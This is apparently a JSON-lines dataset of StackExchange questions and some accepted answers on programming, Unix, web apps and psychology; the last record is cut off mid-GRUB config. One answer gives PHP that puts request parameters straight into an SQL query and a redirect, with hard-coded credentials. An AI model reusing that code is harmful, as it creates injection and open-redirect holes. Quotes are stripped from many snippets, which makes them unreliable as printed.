{  "id": "_cogsci.16818"  , "question": "Employability is typically defined as the continuous fulfilling, acquiring or  creating of work through the optimal use of competences. (Van der Heijde & Van der Heijden, 2006) One's employability does not only depend on one's ability to work (both physically and mentally), but also one's motivation to work and learn and the opportunity to work (Brouwers, 2012; dutch citation). Especially for elders, who are getting older and older, and have to work longer (i.e. until a higher age), employability is becoming incredibly relevant. They need to be able (and willing) to keep on working until their retirement, either in their current position or another less demanding job. This is a difficult job without clear insights. However, with such an incredibly broad term, it will even be difficult to gain those insights. Are there tools available to asses the personal factors of individuals' employability? Heijde, C. M., & Van Der Heijden, B. I. (2006). A competencebased and multidimensional operationalization and measurement of employability. Human resource management, 45(3), 449-476.Brouwer, S., de Lange, A., van der Mei, S., Wessels, M., Koolhaas, W., Bltmann, U., ... & van der Klink, J. (2012). Duurzame inzetbaarheid van de oudere werknemer: stand van zaken. Universitair Medisch Centrum Groningen, Groningen: Rijksuniversiteit Groningen."  , "title": "What are ways to assess employability of workers?"  , "tags": "measurement;io psychology;human factors;employability"  } 
{  "id": "_webmaster.24876"  , "question": "I have a Google Analytics account with a well-functioning funnel made up of 4 goals.  I can query the API and get the data out, but it does not match the funnel report in Analytics.  Without getting into specific values, I can give you an example with faked data.Here's how the funnel might look:Shopping Cart100 > 100 > 20       80 (80%)Address Page5   >  85 > 25       60 (71%)Payment Page2   >  62 > 10       52 (84%)Checkout1   >  53      (49.07% funnel conversion rate)Okay, so you would expect the API to output data something like this:goal1Starts goal1Completions goal1Abandons100         80               20goal2Starts goal2Completions goal2Abandons85          60               25goal3Starts goal3Completions goal3Abandons62          52               10goal4Starts goal4Completions goal4Abandons53          53               0Instead, it's different.  Firstly, the abandons are associated with the following goal (so goal1 always has 0 abandons and goal4 always has >0 abandons.  Okay, I can work with that.  What's confusing is that the numbers are always a little different.  The goal1Completions always match the report, as do the goal4Completions, but everything else is off by a small amount.  Sometimes it's only 2 visits, other times it's off by 50.For the report above here's the kind of results I would tend to get:goal1Starts goal1Completions goal1Abandons100         100              0goal2Starts goal2Completions goal2Abandons105         84               21goal3Starts goal3Completions goal3Abandons90          65               25goal4Starts goal4Completions goal4Abandons58          53               5Here's what I know:Goal(n)Completions + Goal(n)Abandons = Goal(n)StartsGoal(n)Starts >= Goal(n-1)CompletionsGoal(n)Starts - Goal(n-1)Completions != reported number entering at that levelThat third one is particularly disappointing.  So, here's my question:What data do I need to pull from the API in order to recreate the counts in the Funnel report in Google Analytics?  I don't need the pages exited to entering from - just the counts at every level."  , "title": "Google Analytics API data for goals (funnels) doesn't match - how do they reconcile?"  , "tags": "google analytics"  } 
{  "id": "_vi.2108"  , "question": "If I use::tabedit file1 file2I get:E172: Only one file name allowedIs there any way to use :tabedit with multiple file names? Or another way to open multiple tabs at once?"  , "title": "How can I open multiple tabs at once?"  , "tags": "tabbed user interface"  , "accepted_answer": "Given the problems & complexity in my other answer using the built-in way by modifying the argument list, I've added by own small function to do this: Open multiple tabs at oncefun! OpenMultipleTabs(pattern_list)    for p in a:pattern_list        for c in glob(l:p, 0, 1)            execute 'tabedit ' . l:c        endfor    endforendfuncommand! -bar -bang -nargs=+ -complete=file Tabedit call OpenMultipleTabs([<f-args>])You can now use :Tabedit *.vim. This function will expand all globbing patterns, and execute :tabedit <f> for every file. You can add as many pathnames as you want, for example this all works::Tabedit file.rb:Tabedit *.c:Tabedit file1.py file2.py _*.py:Tabedit /etc/hosts file{1,2}.shWell, and so forth...I put this in a little globedit.vim plugin, which also contains command for :Edit, :Split, etc."  } 
{  "id": "_cs.55000"  , "question": "I have constructed truth tables to prove that:$ABC + ABC'+ AB'C +A'BC = AB+AC+BC$How do I prove it by simplifying the expression? I know that I can simplify:  $ABC + ABC' = AB(C+C')=AB$. However I can't repeat this for $AB'C$ or $A'BC$, to get the answer I desire. I'm fairly new to boolean algebra and have tried to use the basic identities to figure it out, but can't seem to get there."  , "title": "How do I simplify this boolean expression?"  , "tags": "boolean algebra"  } 
{  "id": "_webmaster.21870"  , "question": "Is there a photo sharing service, such as flickr or picasa, that will collect the urls of the locations where the photo has been posted on other blogs (or mentioned in tweets, etc?) This could be accomplished by posting each photo as a blog entry using wordpress, which would then automatically handle pingbacks, but of course a blog doesn't perform quite like a proper photo service. Perhaps this could be done with a private photo hosting server like zenphoto by editing the php, but that seems rather involved.Does such a service already exist?"  , "title": "pingback / trackback support for a photo sharing website?"  , "tags": "blog;backlinks;photo gallery"  , "accepted_answer": "I'm not sure about a photo sharing service, but I have an idea of how you can track where your images are embedded with some PHP. You could probably build this in to WordPress somehow as well if you know what you're doing. I believe this could work.In your .htaccess file put a rule something like this:RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\\.)?yourdomain\\.com [NC]RewriteCond %{QUERY_STRING} !^pass=1$ [NC]RewriteRule ^(.*)\\.(gif|jpe?g|png|bmp|swf)$ /hotlink.php?url=$1.$2 [R,NC,L]This will re-write all requests for images on your site, that don't come from your domain, to a file called hotlink.php with the address for the image they were accessing contained in the 'url' variable.Now in the hotlink.php file you can sort of do what you want. You can log the referrer and serve the image anyways, which would still allow your picture to be embedded in other sites, you can block certain sites from using your images but allow others, or you can block other sites from using your images at all.So if all you want to do is track the referring URL's you could put something like this in your hotlink.php file that all image requests are redirected through (untested):<?phpmysql_connect(localhost, admin, 1admin) or die(mysql_error());mysql_select_db(link_track) or die(mysql_error());$query = INSERT INTO image_tracking (img_url, date, referrer) VALUES('.$_GET[url].', '.date(DATE_RFC822).', '.$_SERVER['HTTP_REFERER'].' ) ;mysql_query($query);  header(Location: .$url.?pass=1);?>This would take the url of the image that is being accessed and record it in a MySql database with the date and the referring url. It would then serve up the image that was being requested so the people embedding your images wouldn't even notice the difference. With the information in a database you could access the info however you wanted, through a custom php page, through something like phpMyAdmin, or by adding a page to the admin area of the blog software you are currently using."  } 
{  "id": "_unix.274294"  , "question": "I'm exploring the linux frame buffer, /dev/fb0, and when I run sudo fbset -i from a virtual console in Gnome 3 (using Terminator) on Fedora 23, it reports the dimensions of the frame buffer as 1280x768, but my Gnome desktop resolution is 1680x1050. Why is fbset telling me that the frame buffer is 1280x768?Full output of fbset -i:mode 1280x768    geometry 1280 768 2048 2048 32    timings 0 0 0 0 0 0 0    rgba 8/16,8/8,8/0,0/0endmodeFrame buffer device information:    Name        : svgadrmfb    Address     : (nil)    Size        : 16777216    Type        : PACKED PIXELS    Visual      : TRUECOLOR    XPanStep    : 1    YPanStep    : 1    YWrapStep   : 0    LineLength  : 8192    Accelerator : No"  , "title": "Why does fbset -i report a different resolution?"  , "tags": "framebuffer"  } 
{  "id": "_webapps.53742"  , "question": "I am wondering if there is a way to control the speed on ANY video on YouTube without using a plugin."  , "title": "Control YouTube Video Speed Without Plugin"  , "tags": "firefox;google chrome;video;youtube"  } 
{  "id": "_codereview.49409"  , "question": "I was asked to provide some example code for a job interview and didn't have anything to offer, so I wrote the following function.A barcode generator may seem a bit basic, but there's some logic behind the choice:It's something I recently needed, so it's not entirely contrived.It's simple enough to do in one function, so it can be reviewed easily.It's complex enough that a new programmer would make a mess of it.It's cute. You can render the generated barcode in a browser.It's useful, so I could make a little gist out of it.The barcode is in the Interleaved 2 of 5 Format. It's a simple format, and there's a Wikipedia article that explains it well.Update: A new version of this code has been posted here. The new code includes many of the suggestions made below.def render(digits):    '''This function converts its input, a string of decimal digits, into a    barcode, using the interleaved 2 of 5 format. The input string must not    contain an odd number of digits. The output is an SVG string.        import barcode        svg = barcode.render('0123456789')    Strings are used to avoid problems with insignificant zeros, and allow    for iterating over the bits in a byte [for zipping].    # Wikipedia, ITF Format: http://en.wikipedia.org/wiki/Interleaved_2_of_5    '''    # Encode: Convert the digits into an interleaved string of bits, with a    # start code of four narrow bars [four zeros].    bits = '0000'    bytes = {        '0': '00110', '5': '10100',        '1': '10001', '6': '01100',        '2': '01001', '7': '00011',        '3': '11000', '8': '10010',        '4': '00101', '9': '01010'        }    for i in range(0, len(digits), 2):        # get the next two digits and convert them to bytes        black, white = bytes[digits[i]], bytes[digits[i+1]]        # zip and concat to `bits` 5 pairs of bits from the 2 bytes        for black, white in zip(black, white): bits += black + white    # Render: Convert the string of bits into an SVG string and return it.    svg = '<svg height=50>'    bar = '<rect x={0} y=0 width={1} height=50 {2}></rect>'    pos = 5 # the `x` attribute of the next bar [position from the left]    for i, bit in enumerate(bits):        width = int(bit) * 2 + 2        color = '0,0,0' if (i % 2 == 0) else '255,255,255'        style = 'style=fill:rgb({0})'.format(color)        svg += bar.format(pos, width, style)        pos += width    return svg + '</svg>'"  , "title": "Python Barcode Generator"  , "tags": "python;interview questions;python 3.x;converting;python 2.7"  , "accepted_answer": "The code generally looks pretty good, but I think there are some things you could fix up here.Don't forget the stop codeYou have the start code of 0000 but you've forgotten the stop code which is 100.  When you calculate, you could just tack it onto the end with bits += '100' Use SVG <def>sSince the purpose is to create an SVG barcode, it make sense to tighten the resulting SVG.  You may already know how to use a <def> in SVG and it definitely makes things a little easier to understand here.  The way your code is currently structures, it creates four different styles of <rect> which are all combinations of narrow/wide and black/white.  You could predefine each of those shapes and then simply intantiate them within the body of the svg code.  That would make the definition for svg and bar like this:svg = '''<svg height=50><defs><g id=b0><rect x=0 y=0 width=2 height=50/></g><g id=b1><rect x=0 y=0 width=4 height=50/></g></defs>'''bar = '<use xlink:href=#b{0} x={1} y=0 {2}/>'Using it would then be svg += bar.format(bit, pos, style)An improvement would be to create both bars and spaces like this:<g id=b0><rect x=0 y=0 width=2 height=50 style=fill:rgb(0,0,0)/></g><g id=b1><rect x=0 y=0 width=4 height=50 style=fill:rgb(0,0,0)/></g><g id=s0><rect x=0 y=0 width=2 height=50 style=fill:rgb(255,255,255)/></g><g id=s1><rect x=0 y=0 width=4 height=50 style=fill:rgb(255,255,255)/></g>Then your loop could look then like this:for i, bit in enumerate(bits):    width = int(bit) * 2 + 2    svg += bar.format('bs'[i%2], bit, pos)    pos += widthAlthough that may look verbose, it actually is over 2k shorter for a 12 digit barcode.Think carefully about data representationYour code currently translates digits into a series of '1' and '0' characters and then translates again into SVG rectangles.  Why not eliminate a step? Your code could just as easily translate them in a single operation.Use list comprehensions instead of for loopsThe use of list comprehensions is almost always faster than a for loop in Python, so we use them when we can.  It also tends to make the code shorter.  So for example, we could change your loop to calculate the string of bar code bits to calculate all the black bits and then all the white bits like this:black = .join([bytes[i] for i in digits[0::2]])white = .join([bytes[i] for i in digits[1::2]])# shuffle them togetherdatabits = .join(.join(i) for i in zip(black,white))# create the full bar code string with start and stopbits = .join(['0000',databits,'100'])Doing this with join also saves time.  Appending strings with += is very slow in Python.Prefer xrange to rangeWhen you use range, a whole list object is created, using memory.  With xrange, a generator is created instead populated which can save memory.  For any reasonably sized bar code this won't make much difference here, but it's good practice for Python 2.7.  In Python 3, xrange doesn't exist and range creates a generator, so keep that in mind if you change versions.Don't draw more than you have toYou're drawing one <rect> for every bar or space, but it's really not necessary.  Instead, you could create one larger rectangle that's the background space color and then only draw the black bars."  } 
{  "id": "_webapps.31577"  , "question": "I would like to display YouTube thumbnail images instead of embedding the actual flash player in a Tumblr theme. But as soon as people click on the image, it starts loading the flash player and play the video.The reason is that if the front page has 10 YouTube videos, it really loads very slow because it is loading all the flash players. It is a lot faster to load the thumbnails."  , "title": "How do you display YouTube thumbnails instead of embedding the actual flash in Tumblr theme?"  , "tags": "youtube;tumblr;tumblr themes"  } 
{  "id": "_softwareengineering.263202"  , "question": "Let's say i have an interest in file conversions, but everything should be made by hand and i have multiple output formats (say: csv and excel).Once i get contacted by a client, i have to link services and convert files. What would be the fastest way of doing this?My guess would be to start with NodeJS and use libraries to import data into a json format. Then use the libraries to convert them to a certain file format (using libraries als).Is there anything that would be faster / easier to create?"  , "title": "Manual repetitive conversion between file types"  , "tags": "programming practices;data;data types;type conversion"  } 
{  "id": "_codereview.71171"  , "question": "I'm doing an easy problem in codechef. Here's the problem statement for maxcount:Given an array A of length N, your task is to find the element which  repeats in A maximum number of times as well as the corresponding  count. In case of ties, choose the smaller element first.OK, I cheated. I used std:map because I want to play with it. Please review my code:#include<iostream>#include<map>int main() {    int test_cases{};    std::cin >> test_cases;    for (auto i = 0; i < test_cases; ++i) {        std::map<int,int> count;        std::size_t size{};        std::cin >> size;        int x{};        for (std::size_t i = 0; i < size; ++i) {            std::cin >> x;            count[x] = ++count[x];        }        int number{};        int numberCount{};        for (auto& i : count) {            if (i.second > numberCount) {                number = i.first;                numberCount = i.second;            } else if (i.second == numberCount) {                if (i.first < number) {                    number = i.first;                }            } else {                continue;            }        }        std::cout << number <<   << numberCount << '\\n';    }}How can I make this better and faster?"  , "title": "Count of Maximum - CodeChef"  , "tags": "c++;c++11;programming challenge"  , "accepted_answer": "Simplify:        count[x] = ++count[x];        // Why not just;        ++count[x];Variable name length:for (auto i = 0; i < test_cases; ++i) {Have you ever tried searching for all occurrences of the variable i in the resulting loop. The number of false positives will be a pain in the arse. Name your loop variables so you can find them easily.Hiding variables names:    for (std::size_t i = 0; i < size; ++i) {Though not technically illegal. This becomes a maintenance problem. It's OK for you today as you just wrote the code. But for anybody else (or you in years time) this is can be a pain. Try and give your variables unique meaningful names (self documenting code is a brilliant practice but it requires variable names to be meaningful).The whole loop where you search for the largest repeat:    for (std::size_t i = 0; i < size; ++i) {This can be done inline while you were counting. I would not have a second loop to work it out after the fact.I would simplify this condition:} else if (i.second == numberCount) {            if (i.first < number) {// I find it easier to read as:} else if (i.second == numberCount) && (i.first < number) {This seems a bit redundant:        } else {            continue;        }Personally I think initializing integers with {} looks terrible (and is slightly confusing).std::size_t size{};std::size_t size = 0;  // Much easier to read.Whats the point in initizliaing a variable just before you write over it?    std::size_t size{};   // Why initialize it here    std::cin >> size;     // Only to trash the initialization here.Address Comments:    int number{};    int numberCount{};    for (std::size_t i = 0; i < size; ++i) {        std::cin >> x;        std::size_t&  countV = count[x];        ++countV;        if (countV > numberCount || (countV == numberCount && x < number))        {            number      = x;            numberCount = countV;        }    }"  } 
{  "id": "_unix.320778"  , "question": "Just wrote my first Makefile and I can't figure why GNUmake recompiles everything each time I call make. Here it is:# MakefileCC         = c++ROOTFLAGS  = $(shell root-config --cflags)MGDOFLAGS  = $(shell mgdo-config --cflags)CLHEPFLAGS = $(shell clhep-config --include)ALLFLAGS   = $(ROOTFLAGS) $(MGDOFLAGS) $(CLHEPFLAGS)ROOTLIBS  = $(shell root-config --glibs) -lSpectrumMGDOLIBS  = $(shell mgdo-config --libs)CLHEPLIBS = $(shell clhep-config --libs)ALLLIBS   = $(ROOTLIBS) $(MGDOLIBS) $(CLHEPLIBS)EXEC = tier1browser selectEvents currentPlotall : $(EXEC)selectEvents : selectEvents.cc    mkdir -p bin && \\    $(CC) $(ALLFLAGS) -o bin/$@ $< $(ALLLIBS)currentPlot : currentPlot.cc    mkdir -p bin && \\    $(CC) $(ROOTFLAGS) -o bin/$@ $< $(ROOTLIBS) -fopenmp -Ofasttier1browser : tier1Browser.cxx tier1BrowserDict.cxx    mkdir -p bin && \\    $(CC)-4.9 $(ALLFLAGS) -I. -o bin/$@ $< lib/tier1BrowserDict.cxx $(ALLLIBS)   tier1BrowserDict.cxx : tier1Browser.h tier1BrowserLinkDef.h    mkdir -p lib && \\    cd lib && \\    rootcling -f $@ $(MGDOFLAGS) $(CLHEPFLAGS) -c ../tier1Browser.h ../tier1BrowserLinkDef.h; \\    cd ...PHONY : all cleanclean :     rm -rf bin/* lib/*What's wrong?The final folder hierarchy:bin/currentPlotbin/selectEventsbin/tier1browserlib/tier1BrowserDict.cxxlib/tier1BrowserDict_rdict.pcmMakefilecurrentPlot.ccselectEvents.cctier1Browser.cxxtier1Browser.htier1BrowserLinkDef.hAny other hint for a newbye to make it more efficient and elegant?"  , "title": "Make recompiling unchanged files"  , "tags": "make"  , "accepted_answer": "You ask Makefile about a dependancy on current dircurrentPlot : currentPlot.ccmake is expecting a file name currentPlot  in current  dir and you are building in bin dir (-o bin/$@)."  } 
{  "id": "_codereview.147834"  , "question": "Please refrain from negative comments about the code being poor and inefficient and not idiomatic. I know that much, and that's why I'm here.I need a function, that takes a byte array and length and returns a byte array.The function need to do the following:Drop any leading zeroes in the byte arrayIf the array length is shorter than passed length parameter, pad the array with leading zeroes up to the passed lengthI'm not worried to much about efficiency (e.g. removing a zero only for adding it back later), although I don't mind improvements here, but what I'm really after is to make the code more javascript idiomatic. Can I use Array.map or Array.filter here, for example?function normalize(byteArray, length) {  var padding = 0;  while(padding < byteArray.length && byteArray[padding] == 0) {    padding++;  }  byteArray = byteArray.slice(padding);  while(byteArray.length < length) {    byteArray = [0].concat(byteArray);  }  return byteArray;}Context: the byte array passed to this function comes for a BigInteger value. BigInteger has toByteArray method that produces the array, that needs to be fixed up by the function in question. toByteArray method usually does not produce arrays longer than needed for underlying integer, but sometimes it adds an extra zero byte in front. From the integer perspecive it's all the same, but where the resulting array is going to be consumed (in the printing/formatting function) a certain length is expected, so that the data can be laid out properly. Thus, this function."  , "title": "Padding with leading zeros or removing leading zeroes to make sure that array is at least given length"  , "tags": "javascript"  } 
{  "id": "_cs.70520"  , "question": "I am learning Lambda Calculus from the book by Hindley and Seldin . They start the formal postulation of lambda calculus as follow : (a) all variables and atomic constants are -terms (called atoms); (b) if M and N are any -terms, then (MN) is a -term (called an application); (c) if M is any -term and x is any variable, then (x.M) is a-term (called an abstraction).In the second postulate $MN$ has been termed as a $\\lambda$ term . How to define $MN$ , what does it mean ? Is it an operation?Is there any scope of defining operations in lambda calculus which are associative and/or distributive  ?"  , "title": "Any notions of operations in basic postulates of lambda calculus"  , "tags": "lambda calculus"  } 
{  "id": "_codereview.38513"  , "question": "Moved to Code Review as per comments received on https://stackoverflow.com/questions/20907502/can-this-while-loop-be-made-cleanerIs there a way to make the following while loop a little more optimized? What bugs me in particular is the fact that I have to repeat code (closing buffers and returning a value) both inside and outside the if condition and I wanted to get opinions on whether there might be a better /more performance-oriented way to handle such code.While I've posted the entire method, the part I'm more interested in comments on is how the while loop can be optimized. Ofcourse, comments on the remainder of the code are also welcome, but not essential.    private String getRandomQuote(int lineToFetch)        throws IOException {    //1. get path    AssetManager assets = getApplicationAssets();    String path = null;    path = getAssetPath(assets);    //2. open assets    InputStream stream = assets.open(path);    InputStreamReader randomQuote = new InputStreamReader(stream);    //3. Get BufferedReader object    BufferedReader buf = new BufferedReader(randomQuote);    String quote = null;     String line = null;    int currLine = 0;    //4. Loop through using the new InputStreamReader until a match is found    while ((line = buf.readLine()) != null) {        // Get a random line number        if (currLine == lineToFetch) {            quote = line;            Log.v(LINE, line);            randomQuote.close();            buf.close();            return quote;        } else            currLine++;    }    randomQuote.close();    buf.close();    return quote;}"  , "title": "Can this while loop be made cleaner"  , "tags": "java;performance;android"  } 
{  "id": "_unix.70653"  , "question": "When I run the time command in shell time ./myapp I get an output like the following:real    0m0.668suser    0m0.112ssys     0m0.028sHowever,when I run the command \\time -f %e ./myapp I lose precision and I get:2.01sIf I use the %E command I also lose precision in the same way. How do I change it to have more precision again, but still only have the seconds being outputted?I based my research in this Linux / Unix Command: time  and on this question"  , "title": "Increase %e precision with /usr/bin/time shell command"  , "tags": "shell;scripting;time"  , "accepted_answer": "I'm assuming you understand that both these commands are calling a different version of time, right?bash's built-in version% timeGNU time aka. /usr/bin/time% \\timeThe built-in time command to bash can be read up on here:% help timetime: time [-p] PIPELINE    Execute PIPELINE and print a summary of the real time, user CPU time,    and system CPU time spent executing PIPELINE when it terminates.    The return status is the return status of PIPELINE.  The `-p' option    prints the timing summary in a slightly different format.  This uses    the value of the TIMEFORMAT variable as the output format.The GNU time, /usr/bin/time, is usually more useful than the built-in.As to your precision problem it's covered here in this github gist, specifically:Why is bash time more precise then GNU time?The builtin bash command time gives milisecond precision of execution,  and GNU time (usually /usr/bin/time) gives centisecond precision. The  times(2) syscall gives times in clocks, and 100 clocks = 1 second  (usually), so the precision is like GNU time. What is bash time using  so that it is more precise?Bash time internally uses getrusage() and GNU time uses times().  getrusage() is far more precise because of microsecond resolution.You can see the centiseconds with the following example (see 5th line of output):% /usr/bin/time -v sleep .22222    Command being timed: sleep .22222    User time (seconds): 0.00    System time (seconds): 0.00    Percent of CPU this job got: 0%    Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.22    Average shared text size (kbytes): 0    Average unshared data size (kbytes): 0    Average stack size (kbytes): 0    Average total size (kbytes): 0    Maximum resident set size (kbytes): 1968    Average resident set size (kbytes): 0    Major (requiring I/O) page faults: 0    Minor (reclaiming a frame) page faults: 153    Voluntary context switches: 2    Involuntary context switches: 1    Swaps: 0    File system inputs: 0    File system outputs: 0    Socket messages sent: 0    Socket messages received: 0    Signals delivered: 0    Page size (bytes): 4096    Exit status: 0More resolution can be had using bash's time command like so & you can control the resolution:# 3 places % TIMEFORMAT='%3R'; time ( sleep .22222 )0.224From the Bash manual on variables:TIMEFORMATThe value of this parameter is used as a format string specifying how the timing information for pipelines prefixed with the time reserved word should be displayed. The % character introduces an escape sequence that is expanded to a time value or other information. The escape sequences and their meanings are as follows; the braces denote optional portions.%%A literal %.%[p][l]RThe elapsed time in seconds.%[p][l]UThe number of CPU seconds spent in user mode.%[p][l]SThe number of CPU seconds spent in system mode.%PThe CPU percentage, computed as (%U + %S) / %R.The optional p is a digit specifying the precision, the number of fractional digits after a decimal point. A value of 0 causes no decimal point or fraction to be output. At most three places after the decimal point may be specified; values of p greater than 3 are changed to 3. If p is not specified, the value 3 is used.The optional l specifies a longer format, including minutes, of the form MMmSS.FFs. The value of p determines whether or not the fraction is included.If this variable is not set, Bash acts as if it had the value$'\\nreal\\t%3lR\\nuser\\t%3lU\\nsys\\t%3lS'If the value is null, no timing information is displayed. A trailing newline is added when the format string is displayed."  } 
{  "id": "_unix.295210"  , "question": "I'm trying to fetch html tags and their attributes from a webpage with linux command line tools. Here's the concrete case:Here's the task: Get all 'src' attributes of all 'script' tags of the website 'clojurescript.net'This should happen with as little ceremony as possible, almost as simple as using grep to fetch some lines of a text.curl -L clojurescript.net | [the toolchain in question script @src]http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.jshttp://kanaka.github.io/cljs-bootstrap/web/jqconsole.min.jshttp://kanaka.github.io/cljs-bootstrap/web/jq_readline.js[...further results]The tools I tried are: hxnormalize / hxselect, tidy, xmlstarlet. With none I could get a reliable result. This task was always straightforward when using libraries of several programming languages.So what's the state of the art of doing this in the CLI?Does is make sense to convert HTML to XML first, in order to have acleaner tree representation?Often HTML is written with many syntactic mistakes - is there a default approach (which is used by common libraries) to correct/clean this loose structure?Using CSS selectors with the additional option of only extracting an attribute would be ok. But maybe XPATH might be a better selection syntax for this."  , "title": "basic webscraping from the CLI"  , "tags": "command line;html"  } 
{  "id": "_softwareengineering.314190"  , "question": "I would like to have a caching solution for a variety of function calls.All of the function calls fit the following signature public ResponseType ProcessRequest(RequestType request); About half the time the cache key can be applied very simply, in a generic manner by pulling a key from the serialized string. The other half the time the cache key will need to be calculated very specifically for the data in the request, using specific fields that only that request includes. If the response should be cached is almost always certainly done based on the data of the response object. I decided down an interceptor because it can be turned on and off and be wrapped around the function so that the function call itself has no clue it's happening, and this needs to be applied to a lot of different function calls all over the place. here is what I have so far:  public interface ICacheProvider{    object GetCachedItem( string cacheKey );    void AddItemToCache( object item, string key );}public class CacheProvider{    private readonly ConcurrentDictionary< string, object > _cacheDictionary;    private CacheProvider() { _cacheDictionary = new ConcurrentDictionary< string, object >(); }    public object GetCachedItem( string cacheKey ) { return _cacheDictionary.ContainsKey( cacheKey ) ? _cacheDictionary[ cacheKey ] : null; }    public void AddItemToCache( object item, string key ) { _cacheDictionary.TryAdd( key, item ); }}public interface ICacheKey{    string GetCacheKey();}public interface IIsCacheable{    bool IsCacheable();}public class CacheInterceptor : IInterceptor{    private readonly ICacheProvider _cacheProvider;    public CacheInterceptor( ICacheProvider cacheProvider ) { _cacheProvider = cacheProvider; }    public void Intercept( IInvocation invocation )    {        var request = invocation.Arguments.First() as ICacheKey;        var requestCacheKey = request.GetCacheKey();        var cachedResponse = _cacheProvider.GetCachedItem( requestCacheKey );        if( cachedResponse != null )            invocation.ReturnValue = cachedResponse;        else        {            invocation.Proceed();            var response = invocation.ReturnValue as IIsCacheable;            if( response.IsCacheable() )                _cacheProvider.AddItemToCache( response, requestCacheKey );        }    }}There is also currently the concept of a Transaction object which has a Request and Response object. I've thought about applying the concept of caching to that but would be akward with a method interceptor because i would have to fetch the transaction from the transaction manager which is a weird static dependency thing for a lot of other stuff and i'm trying to get rid of that as well.The problems with my proposed solution I would like to address: - I don't think this example conforms to the SOLID principles which is why I think I many of the  other concerns. Please tell me why and how one would fix this?having to implement two separate interfaces for cacheing ICacheKey/IIsCacheable seems like a bit much. My request and response object types have to be aware of the cache solution? on one hand this makes sense because they know how the data is structured. On the other hand the idea of caching is a seperate concern then how the data is stored and should therefore be in another section?"  , "title": "Creating a generic Cache solution for function calls using SOLID principles in C#"  , "tags": "c#;caching"  } 
{  "id": "_unix.365825"  , "question": "If I have the folder ~/1234567 and I type one of the following:ls ~/123cd ~/12then press tab, everything's groovy.  But if, on either of those commands, I type 1234 before hitting tab, the 4th char is replaced with / and editing text becomes strange; if I hit return it's as if anything after ~ is ignored.  This is repeatable in different locations in the filesystem, and does not depend on which other files/folders are at that location.This works as expected on bash on the same box. I'm using rhel6.9, and version 93u+ 2012-08-01 of ksh.I only have this problem if I use ~ and I don't have it if I use the ~username form; just ~/xxxx."  , "title": "ksh tab completion not working if I've typed exactly 4 chars before pressing tab"  , "tags": "ksh;autocomplete"  } 
{  "id": "_webapps.108641"  , "question": "Is it possible to auto-unlist videos AFTER they've been streamed or have I to manually do this myself when the stream has ended? Or even better, can I set it so people can send me superchats on an unlisted stream? "  , "title": "Help with unlisted streaming"  , "tags": "youtube;youtube live"  , "accepted_answer": "If you use Stream Now, you can automatically make your stream unlisted once completed in the stream options."  } 
{  "id": "_unix.93594"  , "question": "I built kernel 3.11.3 following the instructions here.There were no issues in the build. The steps I followed automatically made entries in grub and copied the image to /boot too.At boot time, when I choose the new kernel, booting gets stuck with the following message[   1.563345] MODSIGN: Problem loading in-kernel X.509 certificate (-129)[1.734622] ata3: softreset failed (device not ready)[1.735638[ ata1: softreset failed (device not ready)But I get the same message when booting with my original kernel (kernel-3.9.5-301.fc19.x86_64) and it immediately disappears and boots normally./boot/grub2/grub.cfg looks like this  ## DO NOT EDIT THIS FILE## It is automatically generated by grub2-mkconfig using templates# from /etc/grub.d and settings from /etc/default/grub#### BEGIN /etc/grub.d/00_header ###if [ -s $prefix/grubenv ]; then  load_envfiif [ ${next_entry} ] ; then   set default=${saved_entry}   set next_entry=   save_env next_entry   set boot_once=trueelse   set default=${saved_entry}fiif [ x${feature_menuentry_id} = xy ]; then  menuentry_id_option=--idelse  menuentry_id_option=fiexport menuentry_id_optionif [ ${prev_saved_entry} ]; then  set saved_entry=${prev_saved_entry}  save_env saved_entry  set prev_saved_entry=  save_env prev_saved_entry  set boot_once=truefifunction savedefault {  if [ -z ${boot_once} ]; then    saved_entry=${chosen}    save_env saved_entry  fi}function load_video {  if [ x$feature_all_video_module = xy ]; then    insmod all_video  else    insmod efi_gop    insmod efi_uga    insmod ieee1275_fb    insmod vbe    insmod vga    insmod video_bochs    insmod video_cirrus  fi}terminal_output consoleset timeout=5### END /etc/grub.d/00_header ###### BEGIN /etc/grub.d/10_linux ###menuentry 'Fedora (3.11.3Mephisto) 19 (Schrdingers Cat)' --class fedora --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.9.5-301.fc19.x86_64-advanced-ebc305eb-2826-4aa0-91ae-f74f3e12b496' {    load_video    set gfxpayload=keep    insmod gzio    insmod part_msdos    insmod ext2    set root='hd0,msdos7'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 --hint='hd0,msdos7'  b6603ac8-e004-4cd6-b141-9bc95409e32a    else      search --no-floppy --fs-uuid --set=root b6603ac8-e004-4cd6-b141-9bc95409e32a    fi    linux   /vmlinuz-3.11.3Mephisto root=/dev/mapper/fedora-root ro rd.lvm.lv=fedora/swap rd.md=0 rd.dm=0 vconsole.keymap=guj  rd.luks=0 vconsole.font=latarcyrheb-sun16 rd.lvm.lv=fedora/root rhgb quiet LANG=en_US.UTF-8    initrd  /initramfs-3.11.3Mephisto.img}menuentry 'Fedora, with Linux 3.9.5-301.fc19.x86_64' --class fedora --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.9.5-301.fc19.x86_64-advanced-ebc305eb-2826-4aa0-91ae-f74f3e12b496' {    load_video    set gfxpayload=keep    insmod gzio    insmod part_msdos    insmod ext2    set root='hd0,msdos7'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 --hint='hd0,msdos7'  b6603ac8-e004-4cd6-b141-9bc95409e32a    else      search --no-floppy --fs-uuid --set=root b6603ac8-e004-4cd6-b141-9bc95409e32a    fi    linux   /vmlinuz-3.9.5-301.fc19.x86_64 root=/dev/mapper/fedora-root ro rd.lvm.lv=fedora/swap rd.md=0 rd.dm=0 vconsole.keymap=guj  rd.luks=0 vconsole.font=latarcyrheb-sun16 rd.lvm.lv=fedora/root rhgb quiet    initrd  /initramfs-3.9.5-301.fc19.x86_64.img}menuentry 'Fedora, with Linux 0-rescue-7725dfc225d14958a625ddaaaea5962b' --class fedora --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-0-rescue-7725dfc225d14958a625ddaaaea5962b-advanced-ebc305eb-2826-4aa0-91ae-f74f3e12b496' {    load_video    